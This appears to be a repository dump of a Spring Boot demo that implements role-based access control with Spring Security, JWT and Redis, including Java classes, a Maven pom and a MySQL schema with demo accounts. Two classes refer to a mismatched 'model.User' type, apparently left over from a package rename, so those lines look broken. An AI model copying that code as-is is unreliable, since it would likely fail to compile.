* </p>\n *\n * @package: com.jun.plugin.rbac.security.config\n * @description: 动态路由认证\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 17:17\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Component\npublic class RbacAuthorityService {\n    @Autowired\n    private RoleDao roleDao;\n\n    @Autowired\n    private PermissionDao permissionDao;\n\n    @Autowired\n    private RequestMappingHandlerMapping mapping;\n\n    public boolean hasPermission(HttpServletRequest request, Authentication authentication) {\n        checkRequest(request);\n\n        Object userInfo = authentication.getPrincipal();\n        boolean hasPermission = false;\n\n        if (userInfo instanceof UserDetails) {\n            UserPrincipal principal = (UserPrincipal) userInfo;\n            Long userId = principal.getId();\n\n            List<Role> roles = roleDao.selectByUserId(userId);\n            List<Long> roleIds = roles.stream()\n                    .map(Role::getId)\n                    .collect(Collectors.toList());\n            List<Permission> permissions = permissionDao.selectByRoleIdList(roleIds);\n\n            //获取资源，前后端分离，所以过滤页面权限，只保留按钮权限\n            List<Permission> btnPerms = permissions.stream()\n                    // 过滤页面权限\n                    .filter(permission -> Objects.equals(permission.getType(), Consts.BUTTON))\n                    // 过滤 URL 为空\n                    .filter(permission -> StrUtil.isNotBlank(permission.getUrl()))\n                    // 过滤 METHOD 为空\n                    .filter(permission -> StrUtil.isNotBlank(permission.getMethod()))\n                    .collect(Collectors.toList());\n\n            for (Permission btnPerm : btnPerms) {\n                AntPathRequestMatcher antPathMatcher = new AntPathRequestMatcher(btnPerm.getUrl(), btnPerm.getMethod());\n                if (antPathMatcher.matches(request)) {\n                    hasPermission = true;\n                    break;\n                }\n            }\n\n            return hasPermission;\n        } else {\n            return false;\n        }\n    }\n\n    /**\n     * 校验请求是否存在\n     *\n     * @param request 请求\n     */\n    private void checkRequest(HttpServletRequest request) {\n        // 获取当前 request 的方法\n        String currentMethod = request.getMethod();\n        Multimap<String, String> urlMapping = allUrlMapping();\n\n        for (String uri : urlMapping.keySet()) {\n            // 通过 AntPathRequestMatcher 匹配 url\n            // 可以通过 2 种方式创建 AntPathRequestMatcher\n            // 1：new AntPathRequestMatcher(uri,method) 这种方式可以直接判断方法是否匹配，因为这里我们把 方法不匹配 自定义抛出，所以，我们使用第2种方式创建\n            // 2：new AntPathRequestMatcher(uri) 这种方式不校验请求方法，只校验请求路径\n            AntPathRequestMatcher antPathMatcher = new AntPathRequestMatcher(uri);\n            if (antPathMatcher.matches(request)) {\n                if (!urlMapping.get(uri)\n                        .contains(currentMethod)) {\n                    throw new SecurityException(Status.HTTP_BAD_METHOD);\n                } else {\n                    return;\n                }\n            }\n        }\n\n        throw new SecurityException(Status.REQUEST_NOT_FOUND);\n    }\n\n    /**\n     * 获取 所有URL Mapping，返回格式为{\"/test\":[\"GET\",\"POST\"],\"/sys\":[\"GET\",\"DELETE\"]}\n     *\n     * @return {@link ArrayListMultimap} 格式的 URL Mapping\n     */\n    private Multimap<String, String> allUrlMapping() {\n        Multimap<String, String> urlMapping = ArrayListMultimap.create();\n\n        // 获取url与类和方法的对应信息\n        Map<RequestMappingInfo, HandlerMethod> handlerMethods = mapping.getHandlerMethods();\n\n        handlerMethods.forEach((k, v) -> {\n            // 获取当前 key 下的获取所有URL\n            Set<String> url = k.getPatternsCondition()\n                    .getPatterns();\n            RequestMethodsRequestCondition method = k.getMethodsCondition();\n\n            // 为每个URL添加所有的请求方法\n            url.forEach(s -> urlMapping.putAll(s, method.getMethods()\n                    .stream()\n                    .map(Enum::toString)\n                    .collect(Collectors.toList())));\n        });\n\n        return urlMapping;\n    }\n}\n```\n\n### 3.5. JwtAuthenticationFilter.java\n\n> JWT 认证过滤器，主要功能：\n>\n> 1. 过滤不需要拦截的请求\n> 2. 根据当前请求的JWT，认证用户身份信息\n\n```java\n/**\n * <p>\n * Jwt 认证过滤器\n * </p>\n *\n * @package: com.jun.plugin.rbac.security.config\n * @description: Jwt 认证过滤器\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 15:15\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Component\n@Slf4j\npublic class JwtAuthenticationFilter extends OncePerRequestFilter {\n    @Autowired\n    private CustomUserDetailsService customUserDetailsService;\n\n    @Autowired\n    private JwtUtil jwtUtil;\n\n    @Autowired\n    private CustomConfig customConfig;\n\n    @Override\n    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {\n\n        if (checkIgnores(request)) {\n            filterChain.doFilter(request, response);\n            return;\n        }\n\n        String jwt = jwtUtil.getJwtFromRequest(request);\n\n        if (StrUtil.isNotBlank(jwt)) {\n            try {\n                String username = jwtUtil.getUsernameFromJWT(jwt);\n\n                UserDetails userDetails = customUserDetailsService.loadUserByUsername(username);\n                UsernamePasswordAuthenticationToken authentication = new UsernamePasswordAuthenticationToken(userDetails, null, userDetails.getAuthorities());\n                authentication.setDetails(new WebAuthenticationDetailsSource().buildDetails(request));\n\n                SecurityContextHolder.getContext()\n                        .setAuthentication(authentication);\n                filterChain.doFilter(request, response);\n            } catch (SecurityException e) {\n                ResponseUtil.renderJson(response, e);\n            }\n        } else {\n            ResponseUtil.renderJson(response, Status.UNAUTHORIZED, null);\n        }\n\n    }\n\n    /**\n     * 请求是否不需要进行权限拦截\n     *\n     * @param request 当前请求\n     * @return true - 忽略，false - 不忽略\n     */\n    private boolean checkIgnores(HttpServletRequest request) {\n        String method = request.getMethod();\n\n        HttpMethod httpMethod = HttpMethod.resolve(method);\n        if (ObjectUtil.isNull(httpMethod)) {\n            httpMethod = HttpMethod.GET;\n        }\n\n        Set<String> ignores = Sets.newHashSet();\n\n        switch (httpMethod) {\n            case GET:\n                ignores.addAll(customConfig.getIgnores()\n                        .getGet());\n                break;\n            case PUT:\n                ignores.addAll(customConfig.getIgnores()\n                        .getPut());\n                break;\n            case HEAD:\n                ignores.addAll(customConfig.getIgnores()\n                        .getHead());\n                break;\n            case POST:\n                ignores.addAll(customConfig.getIgnores()\n                        .getPost());\n                break;\n            case PATCH:\n                ignores.addAll(customConfig.getIgnores()\n                        .getPatch());\n                break;\n            case TRACE:\n                ignores.addAll(customConfig.getIgnores()\n                        .getTrace());\n                break;\n            case DELETE:\n                ignores.addAll(customConfig.getIgnores()\n                        .getDelete());\n                break;\n            case OPTIONS:\n                ignores.addAll(customConfig.getIgnores()\n                        .getOptions());\n                break;\n            default:\n                break;\n        }\n\n        ignores.addAll(customConfig.getIgnores()\n                .getPattern());\n\n        if (CollUtil.isNotEmpty(ignores)) {\n            for (String ignore : ignores) {\n                AntPathRequestMatcher matcher = new AntPathRequestMatcher(ignore, method);\n                if (matcher.matches(request)) {\n                    return true;\n                }\n            }\n        }\n\n        return false;\n    }\n\n}\n```\n\n### 3.6. CustomUserDetailsService.java\n\n> 实现 `UserDetailsService` 接口，主要功能：根据用户名查询用户信息\n\n```java\n/**\n * <p>\n * 自定义UserDetails查询\n * </p>\n *\n * @package: com.jun.plugin.rbac.security.service\n * @description: 自定义UserDetails查询\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 10:29\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Service\npublic class CustomUserDetailsService implements UserDetailsService {\n    @Autowired\n    private UserDao userDao;\n\n    @Autowired\n    private RoleDao roleDao;\n\n    @Autowired\n    private PermissionDao permissionDao;\n\n    @Override\n    public UserDetails loadUserByUsername(String usernameOrEmailOrPhone) throws UsernameNotFoundException {\n        model.User user = userDao.findByUsernameOrEmailOrPhone(usernameOrEmailOrPhone, usernameOrEmailOrPhone, usernameOrEmailOrPhone)\n                .orElseThrow(() -> new UsernameNotFoundException(\"未找到用户信息 : \" + usernameOrEmailOrPhone));\n        List<Role> roles = roleDao.selectByUserId(user.getId());\n        List<Long> roleIds = roles.stream()\n                .map(Role::getId)\n                .collect(Collectors.toList());\n        List<Permission> permissions = permissionDao.selectByRoleIdList(roleIds);\n        return UserPrincipal.create(user, roles, permissions);\n    }\n}\n```\n\n### 3.7. RedisUtil.java\n\n> 主要功能：根据key的格式分页获取Redis存在的key列表\n\n```java\n/**\n * <p>\n * Redis工具类\n * </p>\n *\n * @package: com.jun.plugin.rbac.security.util\n * @description: Redis工具类\n * @author: yangkai.shen\n * @date: Created in 2018-12-11 20:24\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Component\n@Slf4j\npublic class RedisUtil {\n    @Autowired\n    private StringRedisTemplate stringRedisTemplate;\n\n    /**\n     * 分页获取指定格式key，使用 scan 命令代替 keys 命令，在大数据量的情况下可以提高查询效率\n     *\n     * @param patternKey  key格式\n     * @param currentPage 当前页码\n     * @param pageSize    每页条数\n     * @return 分页获取指定格式key\n     */\n    public PageResult<String> findKeysForPage(String patternKey, int currentPage, int pageSize) {\n        ScanOptions options = ScanOptions.scanOptions()\n                .match(patternKey)\n                .build();\n        RedisConnectionFactory factory = stringRedisTemplate.getConnectionFactory();\n        RedisConnection rc = factory.getConnection();\n        Cursor<byte[]> cursor = rc.scan(options);\n\n        List<String> result = Lists.newArrayList();\n\n        long tmpIndex = 0;\n        int startIndex = (currentPage - 1) * pageSize;\n        int end = currentPage * pageSize;\n        while (cursor.hasNext()) {\n            String key = new String(cursor.next());\n            if (tmpIndex >= startIndex && tmpIndex < end) {\n                result.add(key);\n            }\n            tmpIndex++;\n        }\n\n        try {\n            cursor.close();\n            RedisConnectionUtils.releaseConnection(rc, factory);\n        } catch (Exception e) {\n            log.warn(\"Redis连接关闭异常，\", e);\n        }\n\n        return new PageResult<>(result, tmpIndex);\n    }\n}\n```\n\n### 3.8. MonitorService.java\n\n> 监控服务，主要功能：查询当前在线人数分页列表，手动踢出某个用户\n\n```java\npackage com.jun.plugin.rbac.security.service;\n\nimport cn.hutool.core.util.StrUtil;\nimport com.google.common.collect.Lists;\nimport com.jun.plugin.rbac.security.common.Consts;\nimport com.jun.plugin.rbac.security.common.PageResult;\nimport com.jun.plugin.rbac.security.model.model.User;\nimport com.jun.plugin.rbac.security.repository.UserDao;\nimport com.jun.plugin.rbac.security.util.RedisUtil;\nimport com.jun.plugin.rbac.security.vo.OnlineUser;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport java.util.List;\nimport java.util.stream.Collectors;\n\n/**\n * <p>\n * 监控 Service\n * </p>\n *\n * @package: com.jun.plugin.rbac.security.service\n * @description: 监控 Service\n * @author: yangkai.shen\n * @date: Created in 2018-12-12 00:55\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Service\npublic class MonitorService {\n    @Autowired\n    private RedisUtil redisUtil;\n\n    @Autowired\n    private UserDao userDao;\n\n    public PageResult<OnlineUser> onlineUser(Integer page, Integer size) {\n        PageResult<String> keys = redisUtil.findKeysForPage(Consts.REDIS_JWT_KEY_PREFIX + Consts.SYMBOL_STAR, page, size);\n        List<String> rows = keys.getRows();\n        Long total = keys.getTotal();\n\n        // 根据 redis 中键获取用户名列表\n        List<String> usernameList = rows.stream()\n                .map(s -> StrUtil.subAfter(s, Consts.REDIS_JWT_KEY_PREFIX, true))\n                .collect(Collectors.toList());\n        // 根据用户名查询用户信息\n        List<model.User> userList = userDao.findByUsernameIn(usernameList);\n\n        // 封装在线用户信息\n        List<OnlineUser> onlineUserList = Lists.newArrayList();\n        userList.forEach(user -> onlineUserList.add(OnlineUser.create(user)));\n\n        return new PageResult<>(onlineUserList, total);\n    }\n}\n```\n\n### 3.9. 其余代码参见本 demo\n\n## 4. 参考\n\n1. Spring Security 官方文档：https://docs.spring.io/spring-security/site/docs/5.1.1.RELEASE/reference/htmlsingle/\n2. JWT 官网：https://jwt.io/\n3. JJWT开源工具参考：https://github.com/jwtk/jjwt#quickstart\n4. 授权部分参考官方文档：https://docs.spring.io/spring-security/site/docs/5.1.1.RELEASE/reference/htmlsingle/#authorization\n\n4. 动态授权部分，参考博客：https://blog.csdn.net/larger5/article/details/81063438\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_rbac_security</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\t\n\n    <name>springboot_rbac_security</name>\n    <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <jjwt.veersion>0.9.1</jjwt.veersion>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-security</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-jpa</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-redis</artifactId>\n        </dependency>\n\n        <!-- 对象池，使用redis时必须引入 -->\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-pool2</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n\n        <dependency>\n            <groupId>io.jsonwebtoken</groupId>\n            <artifactId>jjwt</artifactId>\n            <version>${jjwt.veersion}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.google.guava</groupId>\n            <artifactId>guava</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n        \n        <!-- Hibernate validator - Bean validation API Implementation -->\n\t    <dependency>\n\t        <groupId>org.hibernate</groupId>\n\t        <artifactId>hibernate-validator</artifactId>\n\t        <version>6.2.0.Final</version>\n\t    </dependency>\n\t    \n    </dependencies>\n\n    <build>\n        <finalName>springboot_rbac_security</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/sql/security.sql",
    "content": "/*\n Navicat Premium Data Transfer\n\n Source Server         : 本机\n Source Server Type    : MySQL\n Source Server Version : 50718\n Source Host           : localhost:3306\n Source Schema         : spring-boot-demo\n\n Target Server Type    : MySQL\n Target Server Version : 50718\n File Encoding         : 65001\n\n Date: 12/12/2018 18:52:51\n*/\n\nSET NAMES utf8mb4;\nSET FOREIGN_KEY_CHECKS = 0;\n\n-- ----------------------------\n-- Table structure for sec_permission\n-- ----------------------------\nDROP TABLE IF EXISTS `sec_permission`;\nCREATE TABLE `sec_permission`\n(\n  `id`         bigint(64)  NOT NULL COMMENT '主键',\n  `name`       varchar(50) NOT NULL COMMENT '权限名',\n  `url`        varchar(1000) DEFAULT NULL COMMENT '类型为页面时，代表前端路由地址，类型为按钮时，代表后端接口地址',\n  `type`       int(2)      NOT NULL COMMENT '权限类型，页面-1，按钮-2',\n  `permission` varchar(50)   DEFAULT NULL COMMENT '权限表达式',\n  `method`     varchar(50)   DEFAULT NULL COMMENT '后端接口访问方式',\n  `sort`       int(11)     NOT NULL COMMENT '排序',\n  `parent_id`  bigint(64)  NOT NULL COMMENT '父级id',\n  PRIMARY KEY (`id`)\n) ENGINE = InnoDB\n  DEFAULT CHARSET = utf8 COMMENT ='权限表';\n\n-- ----------------------------\n-- Records of sec_permission\n-- ----------------------------\nBEGIN;\nINSERT INTO `sec_permission`\nVALUES (1072806379288399872, '测试页面', '/test', 1, 'page:test', NULL, 1, 0);\nINSERT INTO `sec_permission`\nVALUES (1072806379313565696, '测试页面-查询', '/**/test', 2, 'btn:test:query', 'GET', 1, 1072806379288399872);\nINSERT INTO `sec_permission`\nVALUES (1072806379330342912, '测试页面-添加', '/**/test', 2, 'btn:test:insert', 'POST', 2, 1072806379288399872);\nINSERT INTO `sec_permission`\nVALUES (1072806379342925824, '监控在线用户页面', '/monitor', 1, 'page:monitor:online', NULL, 2, 0);\nINSERT INTO `sec_permission`\nVALUES (1072806379363897344, '在线用户页面-查询', '/**/api/monitor/online/user', 2, 'btn:monitor:online:query', 'GET', 1,\n        1072806379342925824);\nINSERT INTO `sec_permission`\nVALUES (1072806379384868864, '在线用户页面-踢出', '/**/api/monitor/online/user/kickout', 2, 'btn:monitor:online:kickout',\n        'DELETE', 2, 1072806379342925824);\nCOMMIT;\n\n-- ----------------------------\n-- Table structure for sec_role\n-- ----------------------------\nDROP TABLE IF EXISTS `sec_role`;\nCREATE TABLE `sec_role`\n(\n  `id`          bigint(64)  NOT NULL COMMENT '主键',\n  `name`        varchar(50) NOT NULL COMMENT '角色名',\n  `description` varchar(100) DEFAULT NULL COMMENT '描述',\n  `create_time` bigint(13)  NOT NULL COMMENT '创建时间',\n  `update_time` bigint(13)  NOT NULL COMMENT '更新时间',\n  PRIMARY KEY (`id`),\n  UNIQUE KEY `name` (`name`)\n) ENGINE = InnoDB\n  DEFAULT CHARSET = utf8 COMMENT ='角色表';\n\n-- ----------------------------\n-- Records of sec_role\n-- ----------------------------\nBEGIN;\nINSERT INTO `sec_role`\nVALUES (1072806379208708096, '管理员', '超级管理员', 1544611947239, 1544611947239);\nINSERT INTO `sec_role`\nVALUES (1072806379238068224, '普通用户', '普通用户', 1544611947246, 1544611947246);\nCOMMIT;\n\n-- ----------------------------\n-- Table structure for sec_role_permission\n-- ----------------------------\nDROP TABLE IF EXISTS `sec_role_permission`;\nCREATE TABLE `sec_role_permission`\n(\n  `role_id`       bigint(64) NOT NULL COMMENT '角色主键',\n  `permission_id` bigint(64) NOT NULL COMMENT '权限主键',\n  PRIMARY KEY (`role_id`, `permission_id`)\n) ENGINE = InnoDB\n  DEFAULT CHARSET = utf8 COMMENT ='角色权限关系表';\n\n-- ----------------------------\n-- Records of sec_role_permission\n-- ----------------------------\nBEGIN;\nINSERT INTO `sec_role_permission`\nVALUES (1072806379208708096, 1072806379288399872);\nINSERT INTO `sec_role_permission`\nVALUES (1072806379208708096, 1072806379313565696);\nINSERT INTO `sec_role_permission`\nVALUES (1072806379208708096, 1072806379330342912);\nINSERT INTO `sec_role_permission`\nVALUES (1072806379208708096, 1072806379342925824);\nINSERT INTO `sec_role_permission`\nVALUES (1072806379208708096, 1072806379363897344);\nINSERT INTO `sec_role_permission`\nVALUES (1072806379208708096, 1072806379384868864);\nINSERT INTO `sec_role_permission`\nVALUES (1072806379238068224, 1072806379288399872);\nINSERT INTO `sec_role_permission`\nVALUES (1072806379238068224, 1072806379313565696);\nCOMMIT;\n\n-- ----------------------------\n-- Table structure for sec_user\n-- ----------------------------\nDROP TABLE IF EXISTS `sec_user`;\nCREATE TABLE `sec_user`\n(\n  `id`          bigint(64)  NOT NULL COMMENT '主键',\n  `username`    varchar(50) NOT NULL COMMENT '用户名',\n  `password`    varchar(60) NOT NULL COMMENT '密码',\n  `nickname`    varchar(255)         DEFAULT NULL COMMENT '昵称',\n  `phone`       varchar(11)          DEFAULT NULL COMMENT '手机',\n  `email`       varchar(50)          DEFAULT NULL COMMENT '邮箱',\n  `birthday`    bigint(13)           DEFAULT NULL COMMENT '生日',\n  `sex`         int(2)               DEFAULT NULL COMMENT '性别，男-1，女-2',\n  `status`      int(2)      NOT NULL DEFAULT '1' COMMENT '状态，启用-1，禁用-0',\n  `create_time` bigint(13)  NOT NULL COMMENT '创建时间',\n  `update_time` bigint(13)  NOT NULL COMMENT '更新时间',\n  PRIMARY KEY (`id`),\n  UNIQUE KEY `username` (`username`),\n  UNIQUE KEY `phone` (`phone`),\n  UNIQUE KEY `email` (`email`)\n) ENGINE = InnoDB\n  DEFAULT CHARSET = utf8 COMMENT ='用户表';\n\n-- ----------------------------\n-- Records of sec_user\n-- ----------------------------\nBEGIN;\nINSERT INTO `sec_user`\nVALUES (1072806377661009920, 'admin', '$2a$10$64iuSLkKNhpTN19jGHs7xePvFsub7ZCcCmBqEYw8fbACGTE3XetYq', '管理员',\n        '17300000000', 'admin@xkcoding.com', 785433600000, 1, 1, 1544611947032, 1544611947032);\nINSERT INTO `sec_user`\nVALUES (1072806378780889088, 'user', '$2a$10$OUDl4thpcHfs7WZ1kMUOb.ZO5eD4QANW5E.cexBLiKDIzDNt87QbO', '普通用户',\n        '17300001111', 'user@xkcoding.com', 785433600000, 1, 1, 1544611947234, 1544611947234);\nCOMMIT;\n\n-- ----------------------------\n-- Table structure for sec_user_role\n-- ----------------------------\nDROP TABLE IF EXISTS `sec_user_role`;\nCREATE TABLE `sec_user_role`\n(\n  `user_id` bigint(64) NOT NULL COMMENT '用户主键',\n  `role_id` bigint(64) NOT NULL COMMENT '角色主键',\n  PRIMARY KEY (`user_id`, `role_id`)\n) ENGINE = InnoDB\n  DEFAULT CHARSET = utf8 COMMENT ='用户角色关系表';\n\n-- ----------------------------\n-- Records of sec_user_role\n-- ----------------------------\nBEGIN;\nINSERT INTO `sec_user_role`\nVALUES (1072806377661009920, 1072806379208708096);\nINSERT INTO `sec_user_role`\nVALUES (1072806378780889088, 1072806379238068224);\nCOMMIT;\n\nSET FOREIGN_KEY_CHECKS = 1;\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/SpringBootDemoRbacSecurityApplication.java",
    "content": "package com.jun.plugin.rbac.security;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @package: com.xkcoding.rbac.security\n * @description: 启动器\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 11:28\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@SpringBootApplication\npublic class SpringBootDemoRbacSecurityApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoRbacSecurityApplication.class, args);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/common/ApiResponse.java",
    "content": "package com.jun.plugin.rbac.security.common;\n\nimport lombok.Data;\n\nimport java.io.Serializable;\n\n/**\n * <p>\n * 通用的 API 接口封装\n * </p>\n *\n * @package: com.xkcoding.rbac.security.common\n * @description: 通用的 API 接口封装\n * @author: yangkai.shen\n * @date: Created in 2018-12-07 14:55\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\npublic class ApiResponse implements Serializable {\n    private static final long serialVersionUID = 8993485788201922830L;\n\n    /**\n     * 状态码\n     */\n    private Integer code;\n\n    /**\n     * 返回内容\n     */\n    private String message;\n\n    /**\n     * 返回数据\n     */\n    private Object data;\n\n    /**\n     * 无参构造函数\n     */\n    private ApiResponse() {\n\n    }\n\n    /**\n     * 全参构造函数\n     *\n     * @param code    状态码\n     * @param message 返回内容\n     * @param data    返回数据\n     */\n    private ApiResponse(Integer code, String message, Object data) {\n        this.code = code;\n        this.message = message;\n        this.data = data;\n    }\n\n    /**\n     * 构造一个自定义的API返回\n     *\n     * @param code    状态码\n     * @param message 返回内容\n     * @param data    返回数据\n     * @return ApiResponse\n     */\n    public static ApiResponse of(Integer code, String message, Object data) {\n        return new ApiResponse(code, message, data);\n    }\n\n    /**\n     * 构造一个成功且不带数据的API返回\n     *\n     * @return ApiResponse\n     */\n    public static ApiResponse ofSuccess() {\n        return ofSuccess(null);\n    }\n\n    /**\n     * 构造一个成功且带数据的API返回\n     *\n     * @param data 返回数据\n     * @return ApiResponse\n     */\n    public static ApiResponse ofSuccess(Object data) {\n        return ofStatus(Status.SUCCESS, data);\n    }\n\n    /**\n     * 构造一个成功且自定义消息的API返回\n     *\n     * @param message 返回内容\n     * @return ApiResponse\n     */\n    public static ApiResponse ofMessage(String message) {\n        return of(Status.SUCCESS.getCode(), message, null);\n    }\n\n    /**\n     * 构造一个有状态的API返回\n     *\n     * @param status 状态 {@link Status}\n     * @return ApiResponse\n     */\n    public static ApiResponse ofStatus(Status status) {\n        return ofStatus(status, null);\n    }\n\n    /**\n     * 构造一个有状态且带数据的API返回\n     *\n     * @param status 状态 {@link IStatus}\n     * @param data   返回数据\n     * @return ApiResponse\n     */\n    public static ApiResponse ofStatus(IStatus status, Object data) {\n        return of(status.getCode(), status.getMessage(), data);\n    }\n\n    /**\n     * 构造一个异常的API返回\n     *\n     * @param t   异常\n     * @param <T> {@link BaseException} 的子类\n     * @return ApiResponse\n     */\n    public static <T extends BaseException> ApiResponse ofException(T t) {\n        return of(t.getCode(), t.getMessage(), t.getData());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/common/BaseException.java",
    "content": "package com.jun.plugin.rbac.security.common;\n\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\n\n/**\n * <p>\n * 异常基类\n * </p>\n *\n * @package: com.xkcoding.rbac.security.common\n * @description: 异常基类\n * @author: yangkai.shen\n * @date: Created in 2018-12-07 14:57\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@EqualsAndHashCode(callSuper = true)\n@Data\npublic class BaseException extends RuntimeException {\n\tprivate Integer code;\n\tprivate String message;\n\tprivate Object data;\n\n\tpublic BaseException(Status status) {\n\t\tsuper(status.getMessage());\n\t\tthis.code = status.getCode();\n\t\tthis.message = status.getMessage();\n\t}\n\n\tpublic BaseException(Status status, Object data) {\n\t\tthis(status);\n\t\tthis.data = data;\n\t}\n\n\tpublic BaseException(Integer code, String message) {\n\t\tsuper(message);\n\t\tthis.code = code;\n\t\tthis.message = message;\n\t}\n\n\tpublic BaseException(Integer code, String message, Object data) {\n\t\tthis(code, message);\n\t\tthis.data = data;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/common/Consts.java",
    "content": "package com.jun.plugin.rbac.security.common;\n\n/**\n * <p>\n * 常量池\n * </p>\n *\n * @package: com.xkcoding.rbac.security.common\n * @description: 常量池\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 15:03\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface Consts {\n    /**\n     * 启用\n     */\n    Integer ENABLE = 1;\n    /**\n     * 禁用\n     */\n    Integer DISABLE = 0;\n\n    /**\n     * 页面\n     */\n    Integer PAGE = 1;\n\n    /**\n     * 按钮\n     */\n    Integer BUTTON = 2;\n\n    /**\n     * JWT 在 Redis 中保存的key前缀\n     */\n    String REDIS_JWT_KEY_PREFIX = \"security:jwt:\";\n\n    /**\n     * 星号\n     */\n    String SYMBOL_STAR = \"*\";\n\n    /**\n     * 邮箱符号\n     */\n    String SYMBOL_EMAIL = \"@\";\n\n    /**\n     * 默认当前页码\n     */\n    Integer DEFAULT_CURRENT_PAGE = 1;\n\n    /**\n     * 默认每页条数\n     */\n    Integer DEFAULT_PAGE_SIZE = 10;\n\n    /**\n     * 匿名用户 用户名\n     */\n    String ANONYMOUS_NAME = \"匿名用户\";\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/common/IStatus.java",
    "content": "package com.jun.plugin.rbac.security.common;\n\n/**\n * <p>\n * REST API 错误码接口\n * </p>\n *\n * @package: com.xkcoding.rbac.security.common\n * @description: REST API 错误码接口\n * @author: yangkai.shen\n * @date: Created in 2018-12-07 14:35\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface IStatus {\n\n    /**\n     * 状态码\n     *\n     * @return 状态码\n     */\n    Integer getCode();\n\n    /**\n     * 返回信息\n     *\n     * @return 返回信息\n     */\n    String getMessage();\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/common/PageResult.java",
